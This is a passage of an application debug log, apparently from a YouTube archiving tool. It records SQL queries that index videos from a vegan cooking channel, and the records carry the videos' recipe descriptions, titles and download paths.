and rotating the pans halfway to ensure even cooking, until the veggies have softened and are slightly golden on the edges.\n6. Serve with tortillas or over a bowl of greens and grains with some lime juice, salsa and vegan sour cream and ENJOY!\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating", 1, nil, false, "LTd8r85Pse4", "https://www.youtube.com/watch?v=LTd8r85Pse4", "/downloads/downloads/alec/Steamy Vegan/2023-07-05 VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating/VEGAN MEAL PREP: Sheet Pan Fajitas for Budget-Friendly Eating [LTd8r85Pse4].NA", false, ~U[2023-07-05 00:00:00Z]] 20:31:08.236 [debug] QUERY OK source="sources" db=1.0ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.238 [debug] QUERY OK source="media_items" db=2.0ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-02 00:00:00Z], 1] 20:31:08.239 [debug] QUERY OK source="media_items" db=0.9ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Meal Prep Vegan Breakfast Bowl is PACKED full of protein and I usually meal prep enough quinoa to be able to make this for 4 days in a row. 💪🏼 It's a quick vegan breakfast recipe for busy people who want a 15 minute or less healthy meal that keeps them full. \n\nThis recipe is so versatile and you can add whichever nuts, seeds, dried fruits, fresh fruits, or nut/seed butters you have on hand. I like to have a breakfast nook where I have everything in jars and all I have to do is grab all my favourite ingredients and not even have to think. We've been making this for over 7 years now and it's a total energy and flavour bomb!\n\nDrop a comment and let me know what is your fave breakfast bowl idea! 🤩\n\nBREAKFAST RECIPES PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB)", "dd55f263-b686-4a0c-ba3f-1d8b558a99ea", 1, [], false, "OMVKXYtyw1Y", "https://www.youtube.com/watch?v=OMVKXYtyw1Y", 291, "/downloads/downloads/alec/Steamy Vegan/2023-07-02 MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB)/MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB) [OMVKXYtyw1Y].NA", false, false, false, 1, ~U[2023-07-02 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This Meal Prep Vegan Breakfast Bowl is PACKED full of protein and I usually meal prep enough quinoa to be able to make this for 4 days in a row. 💪🏼 It's a quick vegan breakfast recipe for busy people who want a 15 minute or less healthy meal that keeps them full. \n\nThis recipe is so versatile and you can add whichever nuts, seeds, dried fruits, fresh fruits, or nut/seed butters you have on hand. I like to have a breakfast nook where I have everything in jars and all I have to do is grab all my favourite ingredients and not even have to think. We've been making this for over 7 years now and it's a total energy and flavour bomb!\n\nDrop a comment and let me know what is your fave breakfast bowl idea! 🤩\n\nBREAKFAST RECIPES PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY\u00A0BREAKFASTS\u00A0☀️\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB)", 1, nil, false, "OMVKXYtyw1Y", "https://www.youtube.com/watch?v=OMVKXYtyw1Y", "/downloads/downloads/alec/Steamy Vegan/2023-07-02 MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB)/MEAL PREP VEGAN BREAKFAST BOWL! 🥣 (high-protein, gluten-free, WFPB) [OMVKXYtyw1Y].NA", false, ~U[2023-07-02 00:00:00Z]] 20:31:08.242 [debug] QUERY OK source="sources" db=1.3ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.245 [debug] QUERY OK source="media_items" db=1.9ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 00:00:00Z], 1] 20:31:08.247 [debug] QUERY OK source="media_items" db=2.2ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you think quinoa is gross and boring and plain, then this Dilly White Bean & Broccoli Quinoa Salad is for YOU! This easy healthy meal comes together in 10 minutes, uses budget-friendly whole food ingredients and is a totally satisfying lunch or dinner. \n\nIt's packed with plant-based protein (thanks to the quinoa and beans), low-calorie vegetables and TONS of gut-healthy fibre! Healthy, easy and delicious = a winning combo 😍\n\nSAVE THIS RECIPE AND SUBSCRIBE TO \u202A@steamyvegan\u202C FOR MORE RECIPES! ⭐️\n\nDILLY WHITE BEAN & BROCCOLI QUINOA SALAD -- serves 2 to 4\n1½ cups cooked quinoa, chilled\n1 medium crown broccoli, chopped\n2 celery stalks, diced\n2 green onions, diced\n1 can white beans (kidney, navy, whatever you like)\n⅓ cup fresh dill, chopped\n¼ cup sweet green relish\n2 tbsp vegan mayo\n1½ tbsp dijon mustard\n¾ tsp lemon pepper seasoning OR ½ tsp each salt & pepper\n\n1. To a large bowl add all of your ingredients and give everything a good stir to ensure all that yumminess is well combined. SO EASY! Adjust seasonings to taste as desired. Best served chilled.\nEnjoy on it's own, on a bed of greens, as a side dish or even in a wrap!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based", "d18d8423-7a8f-455f-a29a-1b896f75c7c5", 1, [], false, "RmbAc-WcMks", "https://www.youtube.com/watch?v=RmbAc-WcMks", 292, "/downloads/downloads/alec/Steamy Vegan/2023-06-29 THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based/THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based [RmbAc-WcMks].NA", false, false, false, 1, ~U[2023-06-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you think quinoa is gross and boring and plain, then this Dilly White Bean & Broccoli Quinoa Salad is for YOU! This easy healthy meal comes together in 10 minutes, uses budget-friendly whole food ingredients and is a totally satisfying lunch or dinner. \n\nIt's packed with plant-based protein (thanks to the quinoa and beans), low-calorie vegetables and TONS of gut-healthy fibre! Healthy, easy and delicious = a winning combo 😍\n\nSAVE THIS RECIPE AND SUBSCRIBE TO \u202A@steamyvegan\u202C FOR MORE RECIPES! ⭐️\n\nDILLY WHITE BEAN & BROCCOLI QUINOA SALAD -- serves 2 to 4\n1½ cups cooked quinoa, chilled\n1 medium crown broccoli, chopped\n2 celery stalks, diced\n2 green onions, diced\n1 can white beans (kidney, navy, whatever you like)\n⅓ cup fresh dill, chopped\n¼ cup sweet green relish\n2 tbsp vegan mayo\n1½ tbsp dijon mustard\n¾ tsp lemon pepper seasoning OR ½ tsp each salt & pepper\n\n1. To a large bowl add all of your ingredients and give everything a good stir to ensure all that yumminess is well combined. SO EASY! Adjust seasonings to taste as desired. Best served chilled.\nEnjoy on it's own, on a bed of greens, as a side dish or even in a wrap!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based", 1, nil, false, "RmbAc-WcMks", "https://www.youtube.com/watch?v=RmbAc-WcMks", "/downloads/downloads/alec/Steamy Vegan/2023-06-29 THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based/THIS White Bean Quinoa Salad is the PERFECT Summer Salad! 🥦 Whole food plant based [RmbAc-WcMks].NA", false, ~U[2023-06-29 00:00:00Z]] 20:31:08.249 [debug] QUERY OK source="sources" db=1.2ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.251 [debug] QUERY OK source="media_items" db=1.7ms idle=9.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-25 00:00:00Z], 1] 20:31:08.253 [debug] QUERY OK source="media_items" db=1.3ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making strawberry coconut overnight oats... but with QUINOA! This easy vegan breakfast idea is LOADED with whole food plant based nutrition and protein, is great for meal prep and tastes incredible! 🤤\n\nOvernight quinoa is a great alternative to overnight oats if you 1) aren't a big fan of the texture of cold-soaked oats 2) ran out of oats but still want a delicious make-ahead breakfast 3) want to add variety to your weekly breakfast rotation!\n\nSAVE THIS RECIPE AND SUBSCRIBE TO \u202A@steamyvegan\u202C FOR MORE RECIPES! ⭐️\n\nSTRAWBERRY COCONUT OVERNIGHT QUINOA 🍓🥥\n½ cup cooked quinoa (cold is best)\n¼ cup chia seeds (or 2 tbsp chia & 2 tbsp ground flaxseed)\n¼ cup hemp hearts\n1 tsp vanilla extract\n¼ cup maple syrup or agave nectar\n¼ tsp cinnamon\n1 can full fat coconut milk (or 1½ cups boxed refrigerated coconut milk)\npinch of sea salt\nsliced strawberries\n\n1. To a large bowl or jar add the cooked quinoa, chia seeds, hemp hearts, vanilla, maple syrup, cinnamon, coconut milk, and sea salt and mix very well together until its a well combined mixture. (make sure there's no lumps of chia seeds stuck together or they won't absorb the coconut milk)\n2. Seal with a lid and refrigerate overnight.\n3. When you're ready to eat, spoon out the overnight quinoa into 2 to 4 individual jars or bowls (this depends on how hungry you are!) and mix in sliced strawberries, or arrange them however you heart pleases. The more the better! Enjoy a full and happy tummy until lunchtime! 🍓🥥\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based", "9cdd247a-a208-4103-858d-4a8b8a1365e6", 1, [], false, "-N_xoeTpDK8", "https://www.youtube.com/watch?v=-N_xoeTpDK8", 293, "/downloads/downloads/alec/Steamy Vegan/2023-06-25 Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based/Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based [-N_xoeTpDK8].NA", false, false, false, 1, ~U[2023-06-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We're making strawberry coconut overnight oats... but with QUINOA! This easy vegan breakfast idea is LOADED with whole food plant based nutrition and protein, is great for meal prep and tastes incredible! 🤤\n\nOvernight quinoa is a great alternative to overnight oats if you 1) aren't a big fan of the texture of cold-soaked oats 2) ran out of oats but still want a delicious make-ahead breakfast 3) want to add variety to your weekly breakfast rotation!\n\nSAVE THIS RECIPE AND SUBSCRIBE TO \u202A@steamyvegan\u202C FOR MORE RECIPES! ⭐️\n\nSTRAWBERRY COCONUT OVERNIGHT QUINOA 🍓🥥\n½ cup cooked quinoa (cold is best)\n¼ cup chia seeds (or 2 tbsp chia & 2 tbsp ground flaxseed)\n¼ cup hemp hearts\n1 tsp vanilla extract\n¼ cup maple syrup or agave nectar\n¼ tsp cinnamon\n1 can full fat coconut milk (or 1½ cups boxed refrigerated coconut milk)\npinch of sea salt\nsliced strawberries\n\n1. To a large bowl or jar add the cooked quinoa, chia seeds, hemp hearts, vanilla, maple syrup, cinnamon, coconut milk, and sea salt and mix very well together until its a well combined mixture. (make sure there's no lumps of chia seeds stuck together or they won't absorb the coconut milk)\n2. Seal with a lid and refrigerate overnight.\n3. When you're ready to eat, spoon out the overnight quinoa into 2 to 4 individual jars or bowls (this depends on how hungry you are!) and mix in sliced strawberries, or arrange them however you heart pleases. The more the better! Enjoy a full and happy tummy until lunchtime! 🍓🥥\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based", 1, nil, false, "-N_xoeTpDK8", "https://www.youtube.com/watch?v=-N_xoeTpDK8", "/downloads/downloads/alec/Steamy Vegan/2023-06-25 Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based/Overnight oats... but with QUINOA! 🍓🥥 Whole food plant based [-N_xoeTpDK8].NA", false, ~U[2023-06-25 00:00:00Z]] 20:31:08.253 [debug] QUERY OK source="sources" db=0.6ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.255 [debug] QUERY OK source="media_items" db=1.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-21 00:00:00Z], 1] 20:31:08.257 [debug] QUERY OK source="media_items" db=1.0ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Nacho Salad is the new BEST THING! 🤤 Move over taco salad because NACHO SALAD is here to stay! Nacho salad is budget friendly, vegan, requires practically no recipe, and is such a great lazy meal! \nAnd when you can't decide between having a salad or having nachos, you can have both! Because life is all about balance, amiright? 😌\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nNACHO ORDINARY SALAD (see what I did there 😜)\nwhat you'll need:\ntortilla chips\nplant-based ground meat, cooked in taco seasonings\nsalsa & vegan sour cream\nsalad greens\ngreen onions\nyour fave nacho toppings\nyour fave salad veggies\navocado\n-vegan queso\n\n1. Make a batch of nachos in your fave way\n2. Fill a bowl with your fave salad greens and veg\n3. Add deliciously gooey nachos on top of the salad\n4. Top with salsa, sour cream, avocado, vegan queso and ENJOY!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "NACHO SALAD! Budget-friendly vegan recipe 🌱", "a8fd016f-eed5-4bf7-8021-b2820bd2d426", 1, [], false, "dB-EJXxW_Ho", "https://www.youtube.com/watch?v=dB-EJXxW_Ho", 294, "/downloads/downloads/alec/Steamy Vegan/2023-06-21 NACHO SALAD! Budget-friendly vegan recipe 🌱/NACHO SALAD! Budget-friendly vegan recipe 🌱 [dB-EJXxW_Ho].NA", false, false, false, 2, ~U[2023-06-21 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Nacho Salad is the new BEST THING! 🤤 Move over taco salad because NACHO SALAD is here to stay! Nacho salad is budget friendly, vegan, requires practically no recipe, and is such a great lazy meal! \nAnd when you can't decide between having a salad or having nachos, you can have both! Because life is all about balance, amiright? 😌\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nNACHO ORDINARY SALAD (see what I did there 😜)\nwhat you'll need:\ntortilla chips\nplant-based ground meat, cooked in taco seasonings\nsalsa & vegan sour cream\nsalad greens\ngreen onions\nyour fave nacho toppings\nyour fave salad veggies\navocado\n-vegan queso\n\n1. Make a batch of nachos in your fave way\n2. Fill a bowl with your fave salad greens and veg\n3. Add deliciously gooey nachos on top of the salad\n4. Top with salsa, sour cream, avocado, vegan queso and ENJOY!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "NACHO SALAD! Budget-friendly vegan recipe 🌱", 1, nil, false, "dB-EJXxW_Ho", "https://www.youtube.com/watch?v=dB-EJXxW_Ho", "/downloads/downloads/alec/Steamy Vegan/2023-06-21 NACHO SALAD! Budget-friendly vegan recipe 🌱/NACHO SALAD! Budget-friendly vegan recipe 🌱 [dB-EJXxW_Ho].NA", false, ~U[2023-06-21 00:00:00Z]] 20:31:08.258 [debug] QUERY OK source="sources" db=1.0ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.260 [debug] QUERY OK source="media_items" db=1.7ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-17 00:00:00Z], 1] 20:31:08.262 [debug] QUERY OK source="media_items" db=1.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This roasted fennel, radish and crispy chickpea salad is anything but BORING! This summer salad uses in-season veg and roasts them to perfection to bring out their natural sweetness. Crispy chickpeas are a MUST! This salad is great for work or school lunches and is totally meal-prep friendly! Make yourself a big batch and enjoy throughout the week. 😁\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel! 🤩\n\nROASTED FENNEL, RADISH & CRISPY CHICKPEA SALAD - serves 2 to 4\n1 bulb of fennel, stems and fronds removed\n2 bunches of radishes, tops and roots removed\n1 tsp ground coriander\n1 can chickpeas, rinsed and patted dry\n1 tsp garlic powder\ngreens of choice\nzest & juice of 1 lemon\n3 cloves garlic, minced\n1 tbsp dijon mustard\n½ tbsp maple 